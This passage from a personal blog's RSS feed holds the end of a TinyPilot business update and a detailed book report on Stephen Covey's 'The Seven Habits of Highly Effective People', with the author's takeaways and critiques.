&lt;li>Published the blog post &lt;a href="https://mtlynch.io/tinypilot/">&amp;ldquo;TinyPilot: Build a KVM Over IP for Under $100,&amp;rdquo;&lt;/a> which led to a spike in TinyPilot sales.&lt;/li>
&lt;li>Set up a sales and shipping workflow on top of Shopify.&lt;/li>
&lt;li>Commissioned a &lt;a href="og-logo.png">logo for TinyPilot&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When ordering inventory, allocate larger buffers for items that have longer delivery turnarounds and/or are cheaper to hold.&lt;/li>
&lt;li>&lt;a href="https://twitter.com/deliberatecoder/status/1288271098262544385">Don&amp;rsquo;t use Stripe to sell physical items&lt;/a>.
&lt;ul>
&lt;li>Shopify is superior in every way.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When ordering raw materials, use at least two suppliers for each item.
&lt;ul>
&lt;li>Split/rotate your orders between them so you&amp;rsquo;re not at the mercy of a single vendor.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Be skeptical of merchant-supplied delivery dates.
&lt;ul>
&lt;li>There&amp;rsquo;s infinitely more accuracy in the delivery date from USPS/UPS/FedEx once it&amp;rsquo;s in their possession.&lt;/li>
&lt;li>On Amazon, eBay, and AliExpress, many of the merchants claim to be shipping from the US, but I suspect that they&amp;rsquo;re ordering from China when you order and re-shipping the item to you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Sell 30 TinyPilot kits.&lt;/li>
&lt;li>Test three new marketing channels, such as search ads or influencer marketing.&lt;/li>
&lt;li>Implement TinyPilot support for mouse integration.
&lt;ul>
&lt;li>I&amp;rsquo;ll finally be able to make an honest initial out of the M in TinyPilot &lt;a href="https://en.wikipedia.org/wiki/KVM_switch">KVM&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>The Seven Habits of Highly Effective People by Stephen R. Covey</title><link>https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/</link><pubDate>Mon, 03 Aug 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/</guid><description>&lt;p>Before reading &lt;em>The Seven Habits of Highly Effective People&lt;/em>, I thought of it as the canonical cliché self-help book. But as the saying goes, clichés become clichés because they&amp;rsquo;re true. The book&amp;rsquo;s insightfulness surprised me, and I found many of its ideas useful in my everyday life.&lt;/p></description><content:encoded>&lt;p>Before reading &lt;em>The Seven Habits of Highly Effective People&lt;/em>, I thought of it as the canonical cliché self-help book. But as the saying goes, clichés become clichés because they&amp;rsquo;re true. The book&amp;rsquo;s insightfulness surprised me, and I found many of its ideas useful in my everyday life.&lt;/p>
&lt;p>The book is goofily over the top in its business-speak of &amp;ldquo;win/win,&amp;rdquo; &amp;ldquo;synergy,&amp;rdquo; and &amp;ldquo;paradigm shifts.&amp;rdquo; When I first brought the book home, my girlfriend rolled her eyes hard when the random page she flipped to began with the passage, &amp;ldquo;When properly understood, synergy is the highest activity in all life&amp;hellip;&amp;rdquo;&lt;/p>
&lt;p>It&amp;rsquo;s also clear to me why the book is a classic. Throughout the book, I experienced several — I&amp;rsquo;ll say it — &lt;em>paradigm shifts&lt;/em>, where Covey introduced a simple idea that genuinely changed my perspective.&lt;/p>
&lt;p>One example was his idea of the &lt;a href="#circle-of-influence-vs-circle-of-concern">circle of influence vs. the circle of concern&lt;/a>. The circle of concern includes all things you care about, whether or not you affect them. So the national debt and your diet are both in your circle of concern even though you only control the latter. The circle of influence is the subset of those things where you can make a difference. I find myself thinking about that often now, most recently when I was deciding whether to argue with one of my Facebook friends about a conspiracy theory she&amp;rsquo;s promoting. There were several similar ideas in the book that I&amp;rsquo;ve found helpful for prioritizing my activities and managing work/life balance.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>The author genuinely finds human behavior delightful and fascinating, and his writing shows it.&lt;/li>
&lt;li>Lots of useful takeaways that I&amp;rsquo;ve been applying in my life.&lt;/li>
&lt;li>It&amp;rsquo;s genuinely funny and moving in parts.
&lt;ul>
&lt;li>He draws many stories from experiences with his family, and one of them made me tear up, while others made me laugh out loud.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Certain topics could have been explained better.
&lt;ul>
&lt;li>e.g., the terms &amp;ldquo;character ethic&amp;rdquo; and &amp;ldquo;personality ethic&amp;rdquo; sound similar to me, but Covey uses them to represent opposite ideas.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Some chapters didn&amp;rsquo;t connect with me at all.
&lt;ul>
&lt;li>In particular, the chapters about &lt;a href="#habit-4-think-winwin">&amp;ldquo;win/win&amp;rdquo;&lt;/a> and &lt;a href="#habit-6-synergize">&amp;ldquo;synergy&amp;rdquo;&lt;/a> felt like obvious ideas wrapped in a lot of fluff.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It comes across a little tone-deaf in that the author seems to imply that unsuccessful people would be successful if they simply practiced better habits.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="character-ethic-vs-personality-ethic">Character ethic vs. personality ethic&lt;/h3>
&lt;ul>
&lt;li>The first 150 years of American literature on success focuses on principles, values, and how to deeply examine oneself to live with integrity.
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/Autobiography-Benjamin-Franklin-dp-1517387337/dp/1517387337/">Benjamin Franklin&amp;rsquo;s autobiography&lt;/a> exemplifies this type of writing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>After World War I, there&amp;rsquo;s a shift toward short-term, superficial techniques to achieve success.&lt;/li>
&lt;li>&amp;ldquo;Character ethic&amp;rdquo;: people can only experience true success and sustainable happiness if they learn principles of effective living and consciously align their lives with those principles.&lt;/li>
&lt;li>&amp;ldquo;Personality ethic&amp;rdquo;: people can achieve success through short-term, superficial techniques like smiling more or reminding themselves of motivational catchphrases (e.g., &amp;ldquo;your attitude determines your altitude&amp;rdquo;).&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 I wonder if this is a critique of &lt;a href="https://smile.amazon.com/How-Win-Friends-Influence-People/dp/0671027034/">&lt;em>How to Win Friends and Influence People&lt;/em>&lt;/a>, which came out around the time Covey claims this shift occurred.
&lt;/div>

&lt;ul>
&lt;li>Personality ethic strategies are sometimes beneficial, but they&amp;rsquo;re secondary.
&lt;ul>
&lt;li>Character ethic is foundational to success. Personality ethic techniques can only follow character ethic techniques.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;em>Seven Habits of Highly Effective People&lt;/em> focuses on character ethic, a principle-oriented approach to personal growth.&lt;/li>
&lt;/ul>
&lt;h3 id="maturity-continuum">Maturity continuum&lt;/h3>
&lt;ul>
&lt;li>The habits in this book move a person progressively through a maturity continuum:
&lt;ol>
&lt;li>Dependence: You need others to sustain you and help you achieve your goals.&lt;/li>
&lt;li>Independence: You&amp;rsquo;ve achieved enough competence that you&amp;rsquo;re self-reliant.&lt;/li>
&lt;li>Interdependence: You find opportunities to work with others to achieve greater things than you can achieve separately.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>Americans tend to overemphasize independence and undervalue interdepence.&lt;/li>
&lt;/ul>
&lt;h3 id="production-vs-production-capability">Production vs. production capability&lt;/h3>
&lt;ul>
&lt;li>In Aesop&amp;rsquo;s fable, &lt;a href="http://www.read.gov/aesop/091.html">&amp;ldquo;The Goose &amp;amp; the Golden Egg,&amp;rdquo;&lt;/a> a man discovers a goose that lays one golden egg per day. He kills the goose in hopes of collecting the eggs all at once, but finds no eggs inside and loses his source of golden eggs.&lt;/li>
&lt;li>The story reveals a general lesson about managing resources and relationships.&lt;/li>
&lt;li>You must manage both production and production capability.
&lt;ul>
&lt;li>If you maximize production (slaughter the goose), you destroy production capability (get no more eggs).&lt;/li>
&lt;li>If you maximize production capability (dote on the goose and ignore the eggs), you exhaust yourself (without selling eggs, you run out of food and money).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Production vs. production capability examples
&lt;ul>
&lt;li>Physical (lawnmower)
&lt;ul>
&lt;li>If you keep using a lawnmower and ignore maintenance tasks, the engine and blades will degrade beyond repair. If you maintain it regularly, it will continue functioning much longer.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Financial
&lt;ul>
&lt;li>Withdrawing money from an investment reduces the returns it generates.&lt;/li>
&lt;li>If you fail to advance your career, you get stuck in a dead-end job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Personal
&lt;ul>
&lt;li>It&amp;rsquo;s easy to focus on the fun, easy parts of a romantic relationship while neglecting the difficult work of maintaining it (i.e., taking your partner for granted).&lt;/li>
&lt;li>It&amp;rsquo;s easy to coddle your children and never invest time in helping them become independent.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="habit-1-be-proactive">Habit 1: Be Proactive&lt;/h3>
&lt;ul>
&lt;li>Most theories of behavior assume a direct relationship between stimulus and response.
&lt;ul>
&lt;li>e.g., your genes give you your temper, your upbringing gave you neuroses&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Viktor_Frankl">Viktor Frankl&lt;/a> was a Jewish psychiatrist tortured in Nazi concentration camps.
&lt;ul>
&lt;li>He discovered &amp;ldquo;the last of the human freedoms&amp;rdquo; that Nazis couldn&amp;rsquo;t take away: his response.&lt;/li>
&lt;li>Frankl could decide how he would allow the torture to affect him.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="proactive-vs-reactive">Proactive vs. reactive&lt;/h4>
&lt;ul>
&lt;li>Proactivity means taking responsibility for one&amp;rsquo;s behavior regardless of circumstances.&lt;/li>
&lt;li>&amp;ldquo;Reactive&amp;rdquo; people let their circumstances determine their feelings.
&lt;ul>
&lt;li>e.g., when the weather is gloomy, they feel sad.&lt;/li>
&lt;li>&amp;ldquo;proactive people can carry their own weather with them&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People achieve professional success by identifying problems and taking the initiative to solve them.
&lt;ul>
&lt;li>Proactive: Identifies a business problem and creates a presentation pitching a proposal to solve it.&lt;/li>
&lt;li>Reactive: Waits for someone to teach them how to make a presentation or solve the problem.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="reactive-vs-proactive-language">Reactive vs. proactive language&lt;/h4>
&lt;ul>
&lt;li>The language we use reflects the degree to which we think about things in proactive terms.&lt;/li>
&lt;li>We often say, &amp;ldquo;I have to do X&amp;rdquo; when we&amp;rsquo;re actually &lt;em>choosing&lt;/em> to do X.&lt;/li>
&lt;/ul>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Reactive language&lt;/th>
 &lt;th>Proactive language&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>There&amp;rsquo;s nothing I can do.&lt;/td>
 &lt;td>Let&amp;rsquo;s look at our alternatives.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>That&amp;rsquo;s just the way I am.&lt;/td>
 &lt;td>I can choose a different approach.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>He makes me so mad.&lt;/td>
 &lt;td>I control my own feelings.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>They won&amp;rsquo;t allow that.&lt;/td>
 &lt;td>I can create an effective presentation.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>I have to do that.&lt;/td>
 &lt;td>I will choose an appropriate response.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>I can&amp;rsquo;t.&lt;/td>
 &lt;td>I choose.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>I must.&lt;/td>
 &lt;td>I prefer.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>If only.&lt;/td>
 &lt;td>I will.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 This closely mirrors the idea of &lt;a href="https://mtlynch.io/book-reports/nonviolent-communication/#choicelessness-language">&amp;ldquo;choicelessness language&amp;rdquo; in &lt;em>Nonviolent Communication&lt;/em>&lt;/a>.
&lt;/div>

&lt;h4 id="circle-of-influence-vs-circle-of-concern">Circle of influence vs. circle of concern&lt;/h4>
&lt;ul>
&lt;li>Circle of concern: the set of all things in the world that occupy your thoughts, whether or not you can change them.&lt;/li>
&lt;li>Circle of influence: the subset of items in your circle of your concern over which you can have an actual impact.&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles_hu_f260163be11186a3.png 300w, https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles_hu_27a7c45613230d09.png 600w, https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles_hu_2b60599908fdbfaf.png 800w, https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles.png 800w'
 src="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/circles.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Circle of Concern contains everything you think about. Circle of Influence contains the subset of those things that you can impact.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Proactive people focus their energy on their circle of influence.
&lt;ul>
&lt;li>They care most about things they can change, and doing so expands the set of things they influence.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reactive people focus their energy on issues outside their circle of influence.
&lt;ul>
&lt;li>This leads them to focus on the faults of others or in their environment and fosters a victimhood mentality.&lt;/li>
&lt;li>This contracts their circle of influence.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="types-of-problems">Types of problems&lt;/h4>
&lt;p>Three main types of problems:&lt;/p>
&lt;ol>
&lt;li>Direct control: problems we solve by managing our own behavior (e.g., exercise more, quit smoking)&lt;/li>
&lt;li>Indirect control: problems whose solutions require influencing other people&amp;rsquo;s behavior.&lt;/li>
&lt;li>No control: we can&amp;rsquo;t change the situation at all.&lt;/li>
&lt;/ol>
&lt;ul>
&lt;li>We can address (2) by strengthening our communication skills and learning new ways to influence people.&lt;/li>
&lt;li>We can address (3) by choosing a response that allows us to live peacefully with the situation.&lt;/li>
&lt;/ul>
&lt;h3 id="habit-2-begin-with-the-end-in-mind">Habit 2: Begin with the End in Mind&lt;/h3>
&lt;blockquote>
&lt;p>Management is doing things right. Leadership is doing the right things.&lt;/p>
&lt;p>-&lt;a href="https://en.wikipedia.org/wiki/Peter_Drucker">Peter Drucker&lt;/a>, the &amp;ldquo;founder of modern management&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Good leadership requires you to know what you&amp;rsquo;re trying to accomplish.&lt;/li>
&lt;li>Good management is useless without good leadership.&lt;/li>
&lt;li>You must decide what your &amp;ldquo;center&amp;rdquo; is.
&lt;ul>
&lt;li>Your &amp;ldquo;center&amp;rdquo; determines how you judge all situations and make decisions.&lt;/li>
&lt;li>If your center is something external like your marriage or your job, you&amp;rsquo;ll make poor decisions.
&lt;ul>
&lt;li>e.g., if your center is your family, you&amp;rsquo;ll be hopelessly distraught when your children go through phases of resenting you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You should be principle-centered because principles can&amp;rsquo;t change out from under you the way a job or money can.
&lt;ul>
&lt;li>Example: You have tickets to take your spouse to a concert, but just before you leave, your boss asks you to work late to prepare for an important meeting.
&lt;ul>
&lt;li>If your center is your spouse or your family, you decline the request but may resent your spouse for limiting your career.&lt;/li>
&lt;li>If your center is money, you ditch your spouse to advance your career, potentially harming your marriage.&lt;/li>
&lt;li>If you&amp;rsquo;re &lt;em>principle-centered&lt;/em>, you evaluate your values and make a decision that best serves them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;p>I either didn&amp;rsquo;t understand this part, or it&amp;rsquo;s really stupid.&lt;/p>
&lt;p>What Covey describes as &amp;ldquo;principle-centered&amp;rdquo; decision-making sounds to me like the normal way that everyone makes decisions: weighing competing interests.&lt;/p>
&lt;p>Even if you have crystal clear principles, the concert example is still a difficult decision because it requires you to predict outcomes with limited information. Will your spouse&amp;rsquo;s disappointment create a rift that ultimately leads to divorce? Will your boss pass you over for a promotion?&lt;/p>

&lt;/div>

&lt;ul>
&lt;li>Covey recommends drafting a personal mission statement and updating it regularly.
&lt;ul>
&lt;li>He recommends that families collaboratively draft a family mission statement and update it regularly.&lt;/li>
&lt;li>For an organizational/business mission statement to be effective, every member of the organization should have a voice in shaping it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="habit-3-put-first-things-first">Habit 3: Put First Things First&lt;/h3>
&lt;blockquote>
&lt;p>&lt;strong>Question 1&lt;/strong>: What is one thing could you do (you aren&amp;rsquo;t doing now) that if you did on a regular basis would make a tremendous positive difference in your personal life?
&lt;strong>Question 2&lt;/strong>: What one thing in your business or professional life would bring similar results?&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>To decide what &amp;ldquo;first things&amp;rdquo; are, you need leadership.
&lt;ul>
&lt;li>You then need good management skills to prioritize those things so they happen first and consistently.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>The successful person has the habit of doing the things failures don&amp;rsquo;t like to do. They don&amp;rsquo;t like doing them either necessarily. But their disliking is subordinated to the strength of their purpose.&lt;/p>
&lt;p>Albert E.N. Gray, &lt;a href="https://smile.amazon.com/New-Common-Denominator-Success-Leadership/dp/1933715731/">&lt;em>The Common Denominator of Success&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>The most extreme approaches to time management require you to &lt;a href="https://mtlynch.io/book-reports/deep-work/#scheduling-your-day-for-deep-work">schedule every moment of your day&lt;/a>.
&lt;ul>
&lt;li>Most people dislike having their day overly scheduled because it feels restrictive and leaves too little space for spontaneity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The proper way to approach time management is to focus on &lt;em>relationships&lt;/em> and &lt;em>results&lt;/em> rather than on &lt;em>things&lt;/em> and &lt;em>time&lt;/em>.&lt;/li>
&lt;/ul>
&lt;h4 id="time-management-matrix">Time management matrix&lt;/h4>
&lt;!-- wordword-ignore-start -->
&lt;div id="quadrant-table">
 &lt;div class="row">
 &lt;div class="col">&amp;nbsp;&lt;/div>
 &lt;div class="col header">Urgent&lt;/div>
 &lt;div class="col header">Not Urgent&lt;/div>
 &lt;/div>
 &lt;div class="row">
 &lt;div class="col header">Important&lt;/div>
 &lt;div class="col quadrant quadrant-1">
 &lt;ul>
 &lt;li>Crises&lt;/li>
 &lt;li>Pressing problems&lt;/li>
 &lt;li>Deadline-driven projects&lt;/li>
 &lt;/ul>
 &lt;p class="quadrant-label label-1">Quadrant I&lt;/p>
 &lt;/div>
 &lt;div class="col quadrant quadrant-2">
 &lt;ul>
 &lt;li>Prevention, production capability activities&lt;/li>
 &lt;li>Relationship building&lt;/li>
 &lt;li>Recognizing new opportunities&lt;/li>
 &lt;li>Planning, recreation&lt;/li>
 &lt;/ul>
 &lt;p class="quadrant-label">Quadrant II&lt;/p>
 &lt;/div>
 &lt;/div>
 &lt;div class="row">
 &lt;div class="col header">Not Important&lt;/div>
 &lt;div class="col quadrant quadrant-3">
 &lt;ul>
 &lt;li>Interruptions, some calls&lt;/li>
 &lt;li>Some mail, some reports&lt;/li>
 &lt;li>Some meetings&lt;/li>
 &lt;li>Proximate, pressing matters&lt;/li>
 &lt;li>Popular activities&lt;/li>
 &lt;p class="quadrant-label">Quadrant III&lt;/p>
 &lt;/ul>
 &lt;/div>
 &lt;div class="col quadrant quadrant-4">
 &lt;ul>
 &lt;li>Trivia, busywork&lt;/li>
 &lt;li>Some mail&lt;/li>
 &lt;li>Some phone calls&lt;/li>
 &lt;li>Time wasters&lt;/li>
 &lt;li>Pleasant activities&lt;/li>
 &lt;/ul>
 &lt;p class="quadrant-label">Quadrant IV&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>
&lt;!-- wordword-ignore-end -->
&lt;ul>
&lt;li>If we don&amp;rsquo;t take the time to figure out what&amp;rsquo;s important, we default to doing what&amp;rsquo;s urgent.&lt;/li>
&lt;li>People who focus their time on Quadrant I just learn to manage crisis after crisis.&lt;/li>
&lt;li>People often spend time in Quadrant III thinking they&amp;rsquo;re in Quadrant I because they neglect to think critically about what&amp;rsquo;s important.&lt;/li>
&lt;li>Effective people:
&lt;ul>
&lt;li>Minimize time in Quadrants III and IV.&lt;/li>
&lt;li>Spend time in Quadrant II to minimize their time in Quadrant I.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The questions from &lt;a href="#habit-3-put-first-things-first">the beginning of this section&lt;/a> are meant to elicit Quadrant II activities that we&amp;rsquo;re starving because they&amp;rsquo;re non-urgent.&lt;/li>
&lt;li>To ensure you reserve time for Quadrant II activities, you must decline commitments that are not aligned with your goals.
&lt;ul>
&lt;li>Many people take on extra commitments to be polite, but they don&amp;rsquo;t reserve enough time to proactively handle important things.&lt;/li>
&lt;li>This is the same thing Cal Newport &lt;a href="https://mtlynch.io/book-reports/deep-work/#protecting-time-for-deep-work">encourages in &lt;em>Deep Work&lt;/em>&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="managing-time-with-people">Managing time with people&lt;/h4>
&lt;ul>
&lt;li>You can&amp;rsquo;t think &amp;ldquo;efficiency&amp;rdquo; with people.
&lt;ul>
&lt;li>You can&amp;rsquo;t accurately predict how long it will take to have an important conversation with someone close to you.&lt;/li>
&lt;li>If it takes longer to have an important conversation than you expected, you&amp;rsquo;ll feel resentful that they&amp;rsquo;re throwing off your schedule.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&amp;hellip;you simply can&amp;rsquo;t think &lt;em>efficiency&lt;/em> with people. You think &lt;em>effectiveness&lt;/em> with people and &lt;em>efficiency&lt;/em> with things.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>People are more important than things.&lt;/li>
&lt;li>The relationship where you should care most about effectiveness is with yourself.&lt;/li>
&lt;li>It can be frustrating when relationship complications throw off your schedule, but in those instances, take a step back to recognize that if maintaining the relationship is in line with your goals, you can afford to adapt and be flexible.&lt;/li>
&lt;/ul>
&lt;h4 id="effective-delegation">Effective delegation&lt;/h4>
&lt;ul>
&lt;li>Delegation is the most effective way to increase your results.&lt;/li>
&lt;li>An individual producer can create one hour&amp;rsquo;s worth of output for every hour of work.&lt;/li>
&lt;li>An effective manager can produce 10-100 hours&amp;rsquo; worth of results for one hour of work.&lt;/li>
&lt;/ul>
&lt;h5 id="gofer-delegation-vs-stewardship-delegation">Gofer delegation vs. stewardship delegation&lt;/h5>
&lt;ul>
&lt;li>Gofer delegation
&lt;ul>
&lt;li>Manager tells underling, &amp;ldquo;go for this, go for that, do this, tell me when it&amp;rsquo;s done.&amp;rdquo;&lt;/li>
&lt;li>aka &amp;ldquo;micromanaging&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Stewardship delegation
&lt;ul>
&lt;li>Focuses on results rather than methods.
&lt;ul>
&lt;li>The subordinate is free to choose any method that achieves the desired results.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Stewardship delegation requires mutual understanding across five dimensions:
&lt;ul>
&lt;li>Desired results: Focus on the &amp;ldquo;what&amp;rdquo; and not the &amp;ldquo;how.&amp;rdquo;&lt;/li>
&lt;li>Guidelines: Identify restrictions or pitfalls.
&lt;ul>
&lt;li>Focus on what not to do, not on required methods.&lt;/li>
&lt;li>Share any lessons you&amp;rsquo;ve learned from failure.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Resources: Human, financial, technical, or organizational resources the person can use to accomplish the task.&lt;/li>
&lt;li>Accountability: Identify the criteria by which they&amp;rsquo;ll be evaluated and when evaluation will happen.&lt;/li>
&lt;li>Consequences: Identify what happens as a result of evaluation, both good and bad.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Stewardship delegation occurs between employers and employees but also between parents and children.&lt;/li>
&lt;/ul>
&lt;h4 id="emotional-bank-account">Emotional bank account&lt;/h4>
&lt;ul>
&lt;li>Relationships with others have an implicit &amp;ldquo;emotional bank account.&amp;rdquo;&lt;/li>
&lt;li>The emotional bank account grows through kindness, courtesy, and a track record of delivering on commitments.&lt;/li>
&lt;li>Discourtesy, disrespect, and lies drain an emotional bank account.&lt;/li>
&lt;li>An emotional bank account with a high balance results in easy communication because there&amp;rsquo;s high trust.
&lt;ul>
&lt;li>Mistakes are not a big deal because there&amp;rsquo;s so much accumulated goodwill.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When the bank balance is low or overdrawn, communication is difficult and tense.&lt;/li>
&lt;li>Relationships, especially family relationships, require continual deposits.
&lt;ul>
&lt;li>This ties back to the idea of &lt;a href="#production-vs-production-capability">balancing production with production capacity&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Major types of deposits
&lt;ol>
&lt;li>Understand the individual: e.g., getting into baseball because your son loves baseball&lt;/li>
&lt;li>Attending to the little things&lt;/li>
&lt;li>Keeping commitments&lt;/li>
&lt;li>Clarifying expectations&lt;/li>
&lt;li>Showing personal integrity&lt;/li>
&lt;li>Apologizing sincerely when you make a withdrawal&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;h3 id="habit-4-think-winwin">Habit 4: Think Win/Win&lt;/h3>
&lt;div class="notice notice-info">
 This chapter is exactly what the title sounds like. I didn&amp;rsquo;t have any useful takeaways here.
&lt;/div>

&lt;h3 id="habit-5-seek-first-to-understand-then-to-be-understood">Habit 5: Seek First to Understand, Then to Be Understood&lt;/h3>
&lt;ul>
&lt;li>Rather than listen empathically, most people listen with the goal of formulating a response.&lt;/li>
&lt;li>Empathic listening is a good way to build an emotional bank account with someone.&lt;/li>
&lt;li>Instead of replying to tell someone your own story, show empathy by describing the speaker&amp;rsquo;s feelings.
&lt;ul>
&lt;li>This is different than &amp;ldquo;active listening,&amp;rdquo; where the listener mirrors speech in a shallow way.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When you understand the other person&amp;rsquo;s needs, you can make compelling arguments for change by connecting your proposal to their needs.&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 This section aligns well with much of the discussion in &lt;a href="https://mtlynch.io/book-reports/nonviolent-communication/#receiving-empathically">&lt;em>Nonviolent Communication&lt;/em>&lt;/a>.
&lt;/div>

&lt;h3 id="habit-6-synergize">Habit 6: Synergize&lt;/h3>
&lt;ul>
&lt;li>Synergy requires people to value and respect differences among those with whom they collaborate.
&lt;ul>
&lt;li>Synergy builds on strengths and compensates for weaknesses.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Synergistic communication requires high trust and openness.&lt;/li>
&lt;li>When someone disagrees with you, it&amp;rsquo;s an opportunity to say, &amp;ldquo;Good! You see it differently.&amp;rdquo;
&lt;ul>
&lt;li>You can work to understand their perspective before trying to convince them of yours.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="habit-7-sharpen-the-saw">Habit 7: Sharpen the Saw&lt;/h3>
&lt;blockquote>
&lt;p>Suppose you were to come upon someone in the woods working feverishly to saw down a tree.&lt;/p>
&lt;p>&amp;ldquo;What are you doing?&amp;rdquo; you ask.&lt;/p>
&lt;p>&amp;ldquo;Can&amp;rsquo;t you see?&amp;rdquo; comes the impatient reply. &amp;ldquo;I&amp;rsquo;m sawing down this tree.&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;You look exhausted!&amp;rdquo; you exclaim. &amp;ldquo;How long have you been at it?&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;Over five hours,&amp;rdquo; he returns, &amp;ldquo;and I&amp;rsquo;m beat! This is hard work.&amp;rdquo;&lt;/p>
&lt;p>&amp;lsquo;Well, why don&amp;rsquo;t you take a break for a few minutes and sharpen that saw?&amp;quot; you inquire. &amp;ldquo;I&amp;rsquo;m sure it would go a lot faster.&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;I don&amp;rsquo;t have time to sharpen the saw,&amp;rdquo; the man says emphatically. &amp;ldquo;I&amp;rsquo;m too busy sawing!&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>&amp;ldquo;Sharpening the saw&amp;rdquo; is about finding ways to improve efficiency for common or high-impact tasks.&lt;/li>
&lt;li>Physical: eating the right foods, exercising
&lt;ul>
&lt;li>&amp;ldquo;If it&amp;rsquo;s raining on the morning you&amp;rsquo;re scheduled to jog, do it anyway. &amp;lsquo;Oh good! It&amp;rsquo;s raining! I get to develop my willpower as well as my body!&amp;rsquo;&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Spiritual: Meditation, great literature, music&lt;/li>
&lt;li>Mental: Learning new subjects, limiting TV consumption&lt;/li>
&lt;li>Social: Investing in personal relationships&lt;/li>
